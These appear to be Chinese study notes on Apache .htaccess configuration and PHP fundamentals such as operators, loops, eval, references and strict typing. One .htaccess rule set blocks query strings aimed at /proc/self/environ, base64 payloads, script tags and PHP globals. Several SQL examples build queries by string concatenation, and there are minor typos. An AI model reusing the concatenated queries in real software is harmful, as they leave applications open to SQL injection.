可以用来基于某些特定条件强制设置内容类型。比如下面的指令可以让.php文件在以.phps扩展名调用的情况下由mod_php按照PHP源代码的MIME类型(application/x-httpd-php-source)显示:
RewriteRule ^(.+\.php)s$ $1 [T=application/x-httpd-php-source]
RewriteRule example
安全配置
下面的htaccess代码能够提高web服务器的安全水平
1. 通过.htaccess防盗链,图片链接盗用保护非常有用,能防止其他人偷盗使用服务器上的图片资源
RewriteBase /
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(www.)?aqee.net/.*$ [NC]
RewriteRule .(gif|jpg|swf|flv|png)$ /feed/ [R=302,L]
# /error/daolian.gif为别人盗链时显示的图片
RewriteEngine on
RewiteBase /
RewriteCond %{HTTP_REFERER} !^$ [NC]
RewriteCond %{HTTP_REFERER} !xxx.info [NC]
RewriteRule \.(jpg|gif|png|bmp|swf|jpeg)$ /error/daolian.gif [R,NC,L]
2. 防黑客
如果想提高网站的安全等级,可以去掉下面的几行代码,这样可以防止一些常见恶意URL匹配的黑客攻击技术
RewriteEngine On
# proc/self/environ? 没门!
RewriteCond %{QUERY_STRING} proc/self/environ [OR]
# 阻止脚本企图通过URL修改mosConfig值
RewriteCond %{QUERY_STRING} mosConfig_[a-zA-Z_]{1,21}(=|%3D) [OR]
# 阻止脚本通过URL传递的base64_encode垃圾信息
RewriteCond %{QUERY_STRING} base64_encode.*(.*) [OR]
# 阻止在URL含有script标记的脚本
RewriteCond %{QUERY_STRING} (<|%3C).*script.*(>|%3E) [NC,OR]
# 阻止企图通过URL设置PHP的GLOBALS变量的脚本
RewriteCond %{QUERY_STRING} GLOBALS(=|[|%[0-9A-Z]{0,2}) [OR]
# 阻止企图通过URL设置PHP的_REQUEST变量的脚本
RewriteCond %{QUERY_STRING} _REQUEST(=|[|%[0-9A-Z]{0,2})
# 把所有被阻止的请求转向到403禁止提示页面!
RewriteRule ^(.*)$ index.php [F,L]
3. 阻止访问.htaccess文件或指定类型的文件
4.禁止脚本执行,加强目录安全 # 禁止某些目录里的脚本执行权限 AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi Options -ExecCGI
.htaccess常用命令和配置技巧
1.禁止显示目录列表
如果网站目录没有index文件,在浏览器地址栏键入了该目录的路径时该目录下所有的文件都会显示出来,这会给网站留下安全隐患
为避免这种情况,可以在.htaccess文档中键入以下命令以阻止目录列表的显示,而不必创建一堆的新index文件
Options -Indexes
2.阻止/允许特定的IP地址
只允许某些特定IP的用户可以访问网站(只允许使用特定ISP的用户进入某个目录),或封禁某些特定的IP地址(将低级用户隔离于信息版面外),然而现在网上的大多数用户都使用动态IP地址,所以这并不是限制使用的常用方法
deny from 000.000.000.000 # 封禁一个IP地址
deny from 210.10.56. # 封禁210.10.56.0~210.10.56.255整个网段所有IP地址
deny from all # 阻止所有人访问该目录
allow from 000.000.000.000 # 允许一个IP地址访问网站,可以象封禁IP地址一样允许整个网段
3.替换index文件
如果不想一直使用index.htm或index.html作为目录的索引文件,想使用index.php甚至foofoo.balh来作为该目录的索引文档
这些互为替换的索引文件可以排成一个列表,服务器会从左至右进行寻找,检查哪个文档在真实的目录中存在。如果一个也找不到,它将会把目录列表显示出来,除非已经关闭了显示目录文件列表
DirectoryIndex index.php index.php3 messagebrd.pl index.html index.htm
4.重定向(rewrite)
.htaccess最有用的功能之一就是将请求重定向到站内站外的不同文档。这在改变了一个文件名称但仍然想让用户用旧地址访问到它时变的极为有用。另一个应用是重定向到一个长URL,例如在同事通讯中可以使用一个简短的URL来指向会员链接
Redirect /location/from/root/file.ext http://new/file/location.xyz
可以使用.htaccess重定向整个网站的目录
假如网站上有一个名为olddirectory的目录,并且已经在一个新网站http://newdirectory/上建立了与上相同的文档,可以将旧目录下所有的文件做一次重定向而不必一一声明:
Redirect /olddirectory http://newdirectory
这样,任何指向到站点中/olddirectory目录的请求都将被重新指向新的站点,包括附加的额外URL信息
http://olddirecotry/oldfiles/images/image.gif
请求将被重定向到:
http://newdirectory/oldfiles/images/image.gif
5.时区设置
在PHP里使用date或mktime函数时,由于时区的不同会显示出一些很奇怪的信息,解决的方法之一就是设置服务器的时区
SetEnv TZ Australia/Melbourne
6. 搜索引擎友好的301永久转向方法
很多现代的搜索引擎都有能根据检查301永久转向来更新它现有的记录的功能
Redirect 301 http://www.aqee.net/home http://www.aqee.net/
7. 屏蔽下载对话框
通常下载东西时会看到一个对话框询问是保存这个文件还是直接打开它,如果不想看到这个东西可以把下面的一段代码放到.htaccess文件里
AddType application/octet-stream .pdf
AddType application/octet-stream .zip
AddType application/octet-stream .mov
8.省去www前缀: SEO的一个原则确保网站只有一个URL,因此需要把所有的通过www的访问转向的非www或反过来
RewriteEngine On
RewriteBase /
RewriteCond %{HTTP_HOST} ^www.aqee.net [NC]
RewriteRule ^(.*)$ http://aqee.net/$1 [L,R=301]
9.定制个性化Error错误页面
ErrorDocument 401 /error/401.php
ErrorDocument 403 /error/403.php
ErrorDocument 404 /error/404.php
ErrorDocument 500 /error/500.php
10.压缩文件体积来优化网站的访问速度,如压缩text,html,javascript,css,xml:
AddOutputFilterByType DEFLATE text/plain
AddOutputFilterByType DEFLATE text/html
AddOutputFilterByType DEFLATE text/xml
AddOutputFilterByType DEFLATE text/css
AddOutputFilterByType DEFLATE application/xml
AddOutputFilterByType DEFLATE application/xhtml+xml
AddOutputFilterByType DEFLATE application/rss+xml
AddOutputFilterByType DEFLATE application/javascript
AddOutputFilterByType DEFLATE application/x-javascript
11.缓存文件,提高网站访问速度12.对某些文件类型禁止使用缓存
运算符和流程控制
算数运算符 取模运算符%的操作数在运算之前都会转换成整数(除去小数部分),取模运算符%的结果和被除数的符号(正负号)相同 5/3; // 1.6666666666666 5.7%3; // 2 5%3; // 2 2 ** 3; // 8, **表示乘方运算 php7新增除法除整商 echo intdiv(14, 3); //返回整数部分浮点类型不能用于精确计算,会将浮点类型转为二进制,所以有一定的损耗,故它无限接近于0.8,也就是0.79999999
赋值运算符, 字符串运算符(. 串接;.=串接赋值) 递增递减运算符(++$x: $x加一递增,然后返回$x; $x++: 返回$x,然后$x加一递增) 比较运算符 逻辑运算符(and,or,xor,&&,||,!),&&与and都表示逻辑与,||与or都表示逻辑或,且都是短路运算符,区别在于运算的优先级不同 if ( 左侧判断 && 右侧判断 ) //此时,如果左侧判断为false,则右侧判断不再进行 if ( 左侧判断 || 右侧判断 ) //此时,如果左侧判断为true,则右侧判断不再进行 php > $arr = [1]; php > var_dump($arr); php > var_dump(!$arr); // bool(false) php > var_dump(!!$arr); // bool(true) 数组运算符: 用于比较数组 ( + 联合,但不覆盖重复的键 == === != <>不相等) php7新增飞船运算符 $num1 = 100; $num2 = 200; $num3 = 200; echo $num1 <=> $num2; //左边比右边小, -1 echo $num3 <=> $num1; //左边比右边大, 1 echo $num2 <=> $num3; //左右相等, 0 字符串字母相加其实就是在末尾字母加一,Z是末尾字母故加一变为a,向前一位进一 $a = "a"; $a++; echo $a; // b $a = "aabb"; $a++; echo $a; // aabc $a = "aabbz"; $a++; echo $a; // aabca $a = "aabbzz"; $a++; echo $a; // aabcaa 【 运算符优先级 】 运算符优先级指定两个表达式绑定得有多紧密。如表达式1+5*3的结果是16而不是18是因为乘号的优先级比加号高,必要时可用括号来强制改变优先级,例如(1+5)*3的值为18 如果运算符优先级相同,那运算符的结合方向决定了该如何运算。如"-"是左联的,那1-2-3就等同于(1-2)-3结果-4; "="是右联的,所以$a=$b=$c等同于$a=($b=$c) 没有结合的相同优先级的运算符不能连在一起使用,例如1 < 2 > 1在PHP是不合法的,但另外一方面表达式1 <= 1 == 1是合法的, 因为==的优先级低于<= 括号的使用,哪怕在不是必要的场合下,通过括号的配对来明确标明运算顺序,而非靠运算符优先级和结合性来决定,通常能够增加代码的可读性。 下表按照优先级从高到低列出了运算符。同一行中的运算符具有相同优先级,此时它们的结合方向决定求值顺序 结合方向 运算符 附加信息 无 clone new 左 [ array() 右 ** 算术运算符 右 ++ -- ~ (int) (float) (string) (array) (object) (bool) @ 无 instanceof 右 ! 左 * / % 算术运算符 左 + - . 算术运算符和字符串运算符 左 << >> 位运算符 无 < <= > >= 比较运算符 无 == != === !== <> <=> 比较运算符 左 & 位运算符和引用 左 ^ 位运算符 左 | 位运算符 左 && 逻辑运算符 左 || 逻辑运算符 左 ?? 比较运算符 左 ? : ternary 三元运算符 右 = += -= *= **= /= .= %= &= |= ^= <<= >>= 赋值运算符 左 and 逻辑运算符 左 xor 逻辑运算符 左 or 逻辑运算符&&和||运算符 > 赋值运算符号 > AND和OR,赋值运算符的优先级比AND和OR的高,所以先赋值;比&&和||低,所以先逻辑运算再赋值echo false;结果是空,echo true;结果是1
【 位运算符 】
php 位运算符 & (按为与)
将&两边的数值二进制化进行比较 两边分别8位数相互对应 都为1则为1否则为0
列: 1 & 2
1的二进制为 00000001
2的二进制为 00000010
00000000 16进制转回来是0
所以 1 & 2 打印就是 0;
例: 15 & 8
15的二进制为 00001111
8的二进制为 00001000
00001000 16进制转回来是 8
所以 15 & 8 打印就是 8;
php 位运算符 | (按位或)
将|两边的数值二进制化进行比较 两边分别8位数相互对应 有1就为1否则为0
列: 1 | 8
1的二进制为 00000001
8的二进制为 00001000
00001001 16进制转回来是9
所以 1 | 8 打印就是 9;
php 位运算符 ^ (按位异或)
例: 15 ^ 8
15的二进制为 00001111
8的二进制为 00001000
00000111 16进制转回来是 7
所以 15 ^ 8 打印就是 7;
【 条件语句 】
将常量写在condition的前部可以防止==写成=,此时idea返回报错
if($a == 1) echo 'yes';
if(1 == $a) echo 'yes';
if(condition) {条件为ture是执行的代码}
if(condition){…}else{…}
if(condition){…}elseif(condition){…}else{…}
if(condition) ...;
if(condition):
...
else:
...
endif;
condition ? true : false; 三元表达式
expression1 && expression2 短路与
expression1 || expression2 短路或
elseif与else if只有在使用花括号的情况下才认为是完全相同。如果用冒号来定义if/elseif条件,那就不能用两个单词的else if,否则PHP会产生解析错误优化多个if...esleif语句的情况 尽可能将表达式可能性越大的越往前面放,如果判断的内容比较复杂且判断的值只是字符串、整型、浮点,那么就可以用switch...case来代替 【 switch 】 switch漏洞 switch中是先将类型转为整形,再进行判断 PHP作为弱类型语言,类型转换的时候,会有很大漏洞,效果相当于intval函数 转换的时候,如果将字符串转换为整形,从字符串非整形的地方截止转换,如果无法转换,将会返回0统计数组中的奇数
【 把if-else的代码风格改成表格驱动法的意义 】 表格驱动的意义在于: 逻辑和数据分离。 在程序中添加数据和逻辑的方式是不一样的,成本也是不一样的。数据的添加是非常简单,低成本和低风险的;而逻辑的添加是复杂,高成本和高风险的
【 三元运算符 】
$output = isset($value) ? $value : 'No value set.';
$output = $value ? $value : 'No value set.';
$output = $value ?: 'No value set.'; // 等同于$output=$value?$value:'No value set.';即$value未定义时报错,输出$b
$output = $value ?? 'No value set.'; // 等同于$output=isset($value)?$value:'No value set.';即$value未定义时不报错,输出$b
php7新增空合并运算符??
由于在PHP7项目中存在大量同时使用三元表达式和isset()的情况,因此新增的空合并运算符可以用来取代三元运算与isset()函数,如果变量是存在的并且不为null则空合并运算符将返回它的第一个操作数,否则将返回其第二个操作数
$info = isset($_GET['email']) ? $_GET['email'] : 'noemail';
$info = $_GET['email'] ?? 'noemail';
$info = $_GET['email'] ?? $_POST['email'] ?? 'noemail';
【 while循坏语句 】
while (条件) {执行的代码}
do……while 先执行一次,再判断是否循坏
while循环在指定条件为true时执行代码块
【 PHP脚本定时任务实现及crontab实现定时任务 】
while(true) 代替crontab达到秒级定时
while(1)会造成死循环,可以用 break 关键词跳出循环,可以用做比如队列或者长时间执行一个脚本,但是要注意 cpu 占用过高的问题,可以结合 sleep 使用
public function crontab(){
while(true){
file_put_contents(storage_path("crontab.log"),date('Y-m-d H:i:s').PHP_EOL,FILE_APPEND);
sleep(1);//秒级任务
//... 添加逻辑
}
}
当你第一次访问这个crontab方法时,while(true)的循环逻辑就成了常驻进程,每一秒钟插入一次数据
由于PHP只能被用户触发,被调用,调用后会自动退出内存,没有常驻内存。所以实现定时任务都是循环的执行某一个脚本。
PHP定时任务实现主要有两个方向:
1、循环脚本本身或脚本中代码循环执行
2、服务器定时调用php
方案1:
脚本中的代码循环执行。这种方法会占系统资源, 长时间运行,会有一些意想不到的隐患,比如内存管理方面的问题
//文件config.php
return true;
//文件test.php
ignore_user_abort();//关掉浏览器,PHP脚本也可以继续执行
set_time_limit(0);// 通过set_time_limit(0)可以让程序无限制的执行下去,避免超时报错
$times=5;// 每隔5秒运行一次
do{
$run = include 'config.php';//开关
if($run){
echo time().'
';
ob_flush();//将数据从php的buffer中释放出来
flush();//将释放出来的数据发送给浏览器,这里必须要有这两个函数,不然无法输出时间戳,因为该脚本一直未执行完
sleep($times);// 等待5秒
}else{
die('end');
}
}while(true);
方案二:
循环执行脚本,而不是脚本中的代码。
$isOn = 0;//开关
if($isOn){
$time=2;
$url="http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
echo time();
//这里不需要下边两个函数,因为每一次echo都是脚本已经执行完了,具体参考http://blog.csdn.net/qq_21386275/article/details/65634786
//ob_flush();
//flush();
sleep($time);
echo "<script language='javascript' type='text/javascript'>";
echo "window.location.href='$url'";
echo "< /script>";
//file_get_contents($url); //实际循环脚本使用该函数或者curl函数
}else{
die('end');
}
方案三
crontab定时任务
定时任务使用php自循环和crontab的区别
PHP一般来说可能使用console,然后写循环脚本来进行执行,如果任务执行时间过长也会导致每次任务执行的间隔时间过长,看业务需求是否可以这样满足。另外需要一个守护进程来保证console的正常执行。
crontab是通过每分钟检查计划任务表,来触发任务执行,每分钟都会来检查,触发完成以后继续休眠,如果上一个任务没有完成,下一个任务到时间也会触发。
在执行效率方面个人觉得主要是看定时任务的执行复杂度,如果业务复杂执行效率方面两者都会低。
在内存占用方面,PHP循环会一直占用内存,在crontab方面会执行完成任务以后释放内存。
个人推荐计划任务方面可以考虑使用crontab
【 for循环 】
for (init counter; test counter; increment counter) {
code to be executed;
}
参数:
init counter: 初始化循环计数器的值
test counter: : 评估每个循环迭代。如果值为TRUE,继续循环。如果它的值为FALSE,循环结束。
increment counter: 增加循环计数器的值
for (初始值;判断;增加循环计数器的值) {
执行的代码
}
执行流程:
第一步 表达式1初始化变量,判断是否符合(表达式2)条件,符合执行循环体,不符合不执行循环体
第二步 执行完循环体之后,执行(表达式3)改变变量,再次判断(表达式2),满足条件继续执行循环体,不满足跳出循环体
for (expr1; expr2; expr3)
statement
第一个表达式(expr1)在循环开始前无条件求值(并执行)一次。
expr2 在每次循环开始前求值。如果值为TRUE,则继续循环,执行嵌套的循环语句。如果值为FALSE,则终止循环。
expr3 在每次循环之后被求值(并执行)。
每个表达式都可以为空或包括逗号分隔的多个表达式。表达式expr2中所有用逗号分隔的表达式都会计算,但只取最后一个结果。expr2为空意味着将无限循环下去(和C一样,PHP暗中认为其值为TRUE)。这可能不像想象中那样没有用,因为经常会希望用有条件的break语句来结束循环而不是用for的表达式真值判断。
也支持用冒号的for循环的替代语法
for (expr1; expr2; expr3):
statement;
...
endfor;
【 foreach 】 foreach语法结构提供了遍历数组的简单方式。foreach仅能够应用于数组和对象,如果尝试应用于其他数据类型的变量或未初始化的变量将发出错误信息。 每进行一次循环迭代,当前数组元素的值就会被赋值给 $value 变量,并且数组指针会逐一地移动,直到到达最后一个数组元素 有两种语法:
foreach中的引用方便遍历数组时操作数组中每个元素,但会在循环后留下数组的引用 foreach并不会产生一个块级作用域,因此$value是一个全局引用变量。在foreach遍历中每一次迭代都会形成一个对$arr下一个元素的引用。当遍历结束后$value会引用$arr的最后一个元素,并保留在作用域中
常见的错误:在循环中执行查询
如果像这样的话,一定不难见到PHP无法正常工作。
$models = [];
foreach ($inputValues as $inputValue) {
$models[] = $valueRepository->findByValue($inputValue);
}
这里也许没有真正的错误,但是如果跟随着代码的逻辑走下去,也许会发现这个看似无害的调用$valueRepository->findByValue() 最终执行了这样一种查询,例如:
$result = $connection->query("SELECT `x`,`y` FROM `values` WHERE `value`=" . $inputValue);
结果每轮循环都会产生一次对数据库的查询。 因此,假如你为这个循环提供了一个包含 1000 个值的数组,它会对资源产生 1000 单独的请求!如果这样的脚本在多个线程中被调用,他会有导致系统崩溃的潜在危险。
因此,至关重要的是,当代码要进行查询时,应该尽可能的收集需要用到的值,然后在一个查询中获取所有结果。
一个平时常常能见到查询效率低下的地方 (例如:在循环中)是使用一个数组中的值 (比如说很多的 ID )向表发起请求。检索每一个 ID 的所有的数据,代码将会迭代这个数组,每个 ID 进行一次SQL查询请求,它看起来常常是这样:
$data = [];
foreach ($ids as $id) {
$result = $connection->query("SELECT `x`, `y` FROM `values` WHERE `id` = " . $id);
$data[] = $result->fetch_row();
}
但只用一条SQL查询语句就可以更高效的完成相同的工作,比如像下面这样:
$data = [];
if (count($ids)) {
$result = $connection->query("SELECT `x`, `y` FROM `values` WHERE `id` IN (" . implode(',', $ids));
while ($row = $result->fetch_row()) {
$data[] = $row;
}
}
因此在代码直接或间接进行查询请求时,一定要认出这种查询。尽可能的通过一次查询得到想要的结果,然而依然要小心谨慎,不然就可能会出现下面我们要讲的另一个易犯的错误...
【 continue; 】
continue 在循环结构用用来跳过本次循环中剩余的代码并在条件求值为真时开始执行下一次循环。
注意在PHP中switch语句被认为是可以使用continue的一种循环结构。
continue接受一个可选的数字参数来决定跳过几重循环到循环结尾。默认1,即跳到当前循环末尾
【 break; 】
break结束当前for,foreach,while,do-while或switch结构的执行。
break可以接受一个可选的数字参数来决定跳出几重循环
循环打印 a-z 字母序列
for ($i = 'a'; $i <= 'z'; $i++) echo "$i\n";
打印a-z、aa、ab、、、yy、yz
在处理字符变量的算数运算时,PHP沿袭了Perl的习惯,而非C的。
Perl中$a = 'Z'; $a++;将把$a变成'AA',而在 C 中,a = 'Z'; a++;将把a变成'['('Z'的 ASCII 值是 90,'['的 ASCII 值是 91)
aa的字典顺序是小于z
注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化。
var_dump('aa' <= 'z'); // true
var_dump('yz' <= 'z'); // true
var_dump('za' <= 'z'); // false
for ($i = 'a'; $i != 'aa'; $i++) echo "$i\n"; // a-z
foreach (range('a', 'z') as $i) echo "$i\n"; // a-z
for ($i = ord('a'); $i <= ord('z'); $i++) echo chr($i); // a-z
【 exit() die() 】
void exit ([ string $status ] )
void exit ( int $status )
输出一条消息,中止脚本的执行,并退出当前脚本,尽管调用了exit(),Shutdown函数及object destructors(析构)总是会被执行
die()函数是exit(message)函数的别名
exit是个语法结构,如果没有status参数要传入,可以省略圆括号
如果status参数是一个字符串,在退出之前该函数会打印status 。
如果status参数是一个integer,该值会作为退出状态码,并且不会被打印输出。 退出状态码应该在范围0至254,不应使用被PHP保留的退出状态码255。 状态码0用于成功中止程序
or前面的代码返回假时会调用die()
fopen("http://www.w3cschool.cc/","r") or die("Unable to connect to $site");
$pdo->exec() or die(print_r($pdo->errorInfo(),true));
exit($callback());
//exit program normally
exit;
exit();
exit(0);
//exit with an error code
exit(1);
exit(0376); //octal
Shutdown函数与析构函数都会被执行
【 goto 】
当PHP在执行代码过程,在某一时刻我们希望它能跳转到某一特定位置继续执行代码,可以使用goto操作符来使PHP代码执行器跳转到程序中某一特定位置。goto的使用有一定限制,如:无法跳出一个函数或类,无法从外部跳入到一个函数,无法跳入到任何循环或switch结构中。但可以跳出循环或switch,通常的用法是用goto代替switch中嵌套多层的break。
虽然goto使用起来非常方便,但是随意使用goto语句极易造成代码逻辑混乱,所以应当谨慎使用
语法
goto会使PHP直接跳转到指定标志位置。
goto 标志;
代码块
标志:
代码块
输出Bar
goto a;
echo 'Foo';
a:
echo 'Bar';
死循环
b:
echo 'b';
goto b;
死循环
goto a;
b:
echo 'Foo';
a:
echo 'Bar';
goto b;
switch语句编写,最终结果是:我才是真的 two!
$var = 2;
switch($var){
case 1:
goto one; //使用goto跳到one标记处
echo "is one"; //goto已经跳转,这条语句不执行
case 2:
goto two;
echo "is two";
case 3:
goto three;
echo "is three";
}
one:
echo "我才是真的 one!";exit;
two:
echo "我才是真的 two!";exit;
three:
echo "我才是真的 three!";exit;
跳出循环,输出5
for($i=0; $i < 10; $i++) {
while($i++) {
if($i==5) goto end;
}
}
echo '此时 $i=10';
end:
echo '此时 $i=' . $i;
goto不能从外部直接跳入循环中,Fatal error: 'goto' into loop or switch statement is disallowed
goto loop;
for($i=0; $i < 3; $i++) {
while($i++) {
loop:
}
}
echo "End";
【 eval() 】
mixed eval ( string $code )
把字符串按照PHP代码来执行,该字符串必须是合法的PHP代码,且必须以分号结尾
return 语句会立即终止对字符串的计算
该函数对于在数据库文本字段中供日后计算而进行的代码存储很有用
函数eval()语言结构是非常危险的,因为它允许执行任意PHP代码。 它这样用是很危险的。 如果您仔细的确认过,除了使用此结构以外别无方法,请多加注意,不要允许传入任何由用户 提供的、未经完整验证过的数据 。
替换eval()
【 declare() 】
declare结构用来设定一段代码的执行指令
declare是PHP的流程控制结构,directive目前支持两个指令ticks和encoding,ticks的使用需配合register_tick_function函数使用,还有unregister_tick_function函数
ticks参数表示运行多少语句调用一次register_tick_function的函数,register_tick_function函数定义了每个tick事件发生时的处理函数
tick事件在PHP每执行N条低级语句就发生一次,N由declare语句指定。
可以用register_tick_function()来指定tick事件发生时应该执行的操作。
问题又来了,什么是低级语句呢?它包括:
简单语句:空语句(就一个;号),return, break, continue, throw, goto, global, static, unset, echo, 内置的HTML文本,分号结束的表达式等均算一个语句。
复合语句:完整的if/elseif, while, do...while, for, foreach, switch, try...catch等算一个语句。
语句块:{} 括出来的语句块。
最后特别的:declare块本身也算一个语句(按道理declare块也算是复合语句,但此处特意将其独立出来)
declare (directive)
statement
declare(ticks=1) {
statement
}
directive部分允许设定declare代码段的行为,declare代码段中的statement部分将被执行,怎样执行以及执行中有什么副作用出现取决于directive中设定的指令。
declare结构也可用于全局范围,影响到其后的所有代码,但如果有declare结构的文件被其它文件包含,则对包含它的父文件不起作用
declare指令: strict_types,使用严格模式
declare(strict_types=1);
可以用encoding指令来对每段脚本指定其编码方式
declare(encoding='ISO-8859-1');
Tick(时钟周期)是一个在declare代码段中解释器每执行N条可计时的低级语句就会发生的事件。N的值是在declare中的directive部分用ticks=N来指定的。不是所有语句都可计时。通常条件表达式和参数表达式都不可计时。
在每个tick中出现的事件是由register_tick_function()来指定的,每个tick中可以出现多个事件。
declare(ticks=1)
1、Zend引擎每执行1条低级语句就去执行一次register_tick_function()注册的函数
可以粗略的理解为每执行一句php代码(例如:$num=1;)就去执行下已经注册的tick函数
一个用途就是控制某段代码执行时间,例如下面的代码虽然最后有个死循环,但是执行时间不会超过5秒
2、declare(ticks=1);每执行一次低级语句会检查一次该进程是否有未处理过的信号
CTL+c或kill -SIGINT PID会导致运行代码跳出死循环去运行pcntl_signal注册的函数,脚本exit打印"Get signal SIGINT and exi"退出
declare效率极低,好的做法是去掉ticks使用pcntl_signal_dispatch,在代码循环中自行处理信号
PHP定时器
PHP没有类似于JS中的setInterval或者setTimeout这样的原生定时器相关的函数,但可以通过其他方式来实现,比如使用declare
每秒输出当前的时间,但时间不准确
函数
1、内置函数
var_dump($var); // 输出变量的类型和值
date('Y-m-d');
2、自定义函数: 如需使函数返回值使用return语句
function functionName() {
被执行的代码;
return 返回值;
}
函数无需在调用之前被定义,除非函数是有条件被定义时必须在调用函数之前定义
函数的参数
通过参数列表可以传递信息到函数,即以逗号作为分隔符的表达式列表,参数是从左向右求值的 PHP支持按值传递参数(默认)、通过引用传递参数、默认参数,也支持可变长度参数列表向函数传递数组
按值传递: 函数范围内对值的任何改变在函数外部都会被忽略
按引用传递: 函数范围内对值的任何改变在函数外部也能反映出这些修改,传引用传的是内存地址
按值传递时php必须复制值,对大型的字符串和对象来说这会是一个代价很大的操作,按引用传递则不需要复制值,对于性能提高很有好处
默认函数参数通过值传递(即在函数内部改变参数的值并不会改变函数外部的值)。如果允许函数在引用过程中修改参数的值能在函数外产生效果则必须通过引用传递参数,可以在函数定义中该参数的前面加上符号&
在函数调用时没有引用符号,只有函数定义中有
因此在foreach(){}中$value通过引用传递后改变了值
如果是非对象则会传一个值的拷贝,对这个变量做任何改动都不影响原值
传引用或传对象则是传真实的内存地址,对这个变量做的改动会影响原值,php中对象本身就是引用赋值
传值是重新开辟内存空间,相当于把原值复制一份,和原值是彼此独立的
传引用(指针)只是给原内存块加了个指向,引用的值变了就修改了指向的内存地址值,所有指向的引用全部变了
传值赋值PHP写时复制机制(Copy-on-Write,也缩写为COW) 顾名思义就是在写入时才真正复制一份内存进行修改。 COW最早应用在Unix系统中对线程与内存使用的优化,后面广泛的被使用在各种编程语言中如C++的STL等 在PHP内核中COW也是主要的内存优化手段。 在通过变量赋值的方式赋值给变量时,不会申请新内存来存放新变量的值,而是简单的通过一个计数器来共用内存。只有在其中的一个引用指向变量的值发生变化时才申请新空间来保存值内容,以减少对内存的占用。 在很多场景下PHP都使用COW进行内存的优化。比如: 变量的多次赋值、函数参数传递,并在函数体内修改实参等。 $a = $b; // 把$b赋值给$a,如果赋值之后,$b改变了,$a不变 $a =&$b; // 把$b的地址传递给$a,这时$a和$b都指向内存中的同一块地址,所以如果赋值后,$b改变,$a也会改变 $b = 1; $a = $b; $b = 2; echo $a, $b; // 12 $b = 1; $a = &$b; $b = 2; echo $a, $b; // 22 $b = 1; $a = &$b; $a = 2; echo $a, $b; // 22引用赋值时&左右的空格可有可无当变量时引用时unset()只会取消引用,不会销毁内存空间
php中引用的用法有以下三种 ①. 变量的引用赋值: $a = &$b②. 函数定义时的参数引用传递
③. 函数返回引用类型,这种应用方式需要声明函数时在函数名前增加&符号,并且在调用时要用引用赋值方式
function &func() {
return $a;
}
$a = func(); // 这种调用方式得到的不是引用传值,不是函数的引用返回,这跟普通的函数调用没有区别
$a =& func(); // 这样调用才是引用传值,得到的才是函数的引用返回
为了理解函数的引用返回才使用静态变量的,其实函数的引用返回多用在对象中对象的引用 在PHP5中对象的赋值是个引用的过程。$b=new a; $c=$b;其实等效于$b=new a; $c=&$b; PHP5中默认就是通过引用来调用对象,但有时可能想建立一个对象的副本,并希望原来的对象的改变不影响到副本时调用__clone 自PHP5起new自动返回引用,因此在此使用=&已经过时了并且会产生E_STRICT级别的消息。 在php4中对象的赋值是个拷贝过程, 如: $b=new a,其中new a产生的是一个匿名的a对象实例,而此时的$b是对这个匿名对象的拷贝。同理$c=$b,也是对$b内容的一个拷贝。所以在php4中为了节省内存空间,$b=new a一般会改成引用的模式即$b=& new a。
引用的作用 如果程序比较大,引用同一个对象的变量比较多,并且希望用完该对象后手工清除它,建议用"&"方式,然后用$var=null的方式清除 其它时候还是用php的默认方式,另外,php5中对于大数组的传递建议用"&"方式,毕竟节省内存空间使用 取消引用 当unset一个引用,只是断开了变量名和变量内容之间的绑定,这并不意味着变量内容被销毁了 $a = 1; $b =& $a; unset ($a); echo $a; // Notice: Undefined variable: a in E:\wamp64\www\study\php\hello.php on line 205 echo $b; // 1
【 参数默认值 】 php函数参数默认值,调用函数时没有设置实参则使用默认值,否则用实参 函数可以定义C++风格的标量参数默认值,还允许使用非标量类型如数组array和特殊类型NULL作为默认参数,传引用的参数也可以有默认值 默认值必须是常量表达式,不能是诸如变量、类成员或函数调用等。 当使用默认参数时任何默认参数必须放在任何非默认参数的右侧,否则函数将不会按照预期的情况工作
【 类型声明 类型约束 】 在PHP5中类型声明也被称为类型提示,类型声明允许函数在调用时要求参数为特定类型,如果函数调用的参数与定义的参数类型不一致将会产生一个错误: PHP5中这将是一个可恢复的致命错误,而在PHP7中将会抛出一个TypeError异常。 函数的参数可以指定必须为对象Object(在函数原型里面指定类的名字),接口Interface,数组Array、回调类型callable、空对象基类stdClass、递归类型Traversable,不过如果使用NULL作为参数的默认值,那么在调用函数的时候依然可以使用NULL作为实参 如果一个类或接口指定了类型约束,则其所有的子类或实现也都如此 标量类型声明: PHP7中的函数的形参类型声明可以是标量了。在PHP5中只能是类名、接口、array或callable(PHP5.4,即可以是函数,包括匿名函数),现在也可以使用string、int、float和bool 为了指定一个类型声明,类型应该加到参数名前。这个声明可以通过将参数的默认值设为NULL来实现允许传递NULL Type - Minimum PHP version - Description 1、Class/interface name, PHP5.0.0 The parameter must be an instanceof the given class or interface name 2、self, PHP5.0.0 The parameter must be an instanceof the same class as the one the method is defined on. This can only be used on class and instance methods. 3、array: The parameter must be an array,PHP5.1.0 4、callable: The parameter must be a valid callable,PHP5.4.0 5、bool: The parameter must be a boolean value,PHP7.0.0 6、float: The parameter must be a floating point number,PHP7.0.0 7、int: The parameter must be an integer,PHP7.0.0 8、string: The parameter must be a string,PHP7.0.0类型约束不只是用在类的成员函数里,也能使用在函数里接受NULL值
【 严格类型 】 默认PHP会强迫错误类型的值转为函数期望的标量类型,例如函数的一个参数期望是string,但传入integer,最终函数得到的将会是一个string类型的值。 可以基于每一个文件开启严格模式,在严格模式中只有一个与类型声明完全相符的变量才会被接受,否则将会抛出一个TypeError,唯一例外是可以将integer传给一个期望float的函数。 使用declare语句和strict_types声明来启用严格模式: 启用严格模式同时也会影响返回值类型声明 严格类型适用于在启用严格模式的文件内的函数调用,而不是在那个文件内声明的函数。 一个没有启用严格模式的文件内调用了一个在启用严格模式的文件中定义的函数,那么将会遵循调用者的偏好(弱类型),而这个值将会被转换。 严格类型仅用于标量类型声明,也正是因为如此,这需要PHP7.0.0或更新版本,因为标量类型声明也是在那个版本中添加的。Strict typing
declare(strict_types=1);
function sum(int $a,int $b) {
return $a + $b;
}
var_dump(sum(1,2));
var_dump(sum(1.5,2.5));
// 输出
int(3)
Fatal error: Uncaught TypeError: Argument 1 passed to sum() must be of the type integer,float given,called in - on line 9 and defined in -:4
Stack trace:
#0 -(9): sum(1.5,2.5)
